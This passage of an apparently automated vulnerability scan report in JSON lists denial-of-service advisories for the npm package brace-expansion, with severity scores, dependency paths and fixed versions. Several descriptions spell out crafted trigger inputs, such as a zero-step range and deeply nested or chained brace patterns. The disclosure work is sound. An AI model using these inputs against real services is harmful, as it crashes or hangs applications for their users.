Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
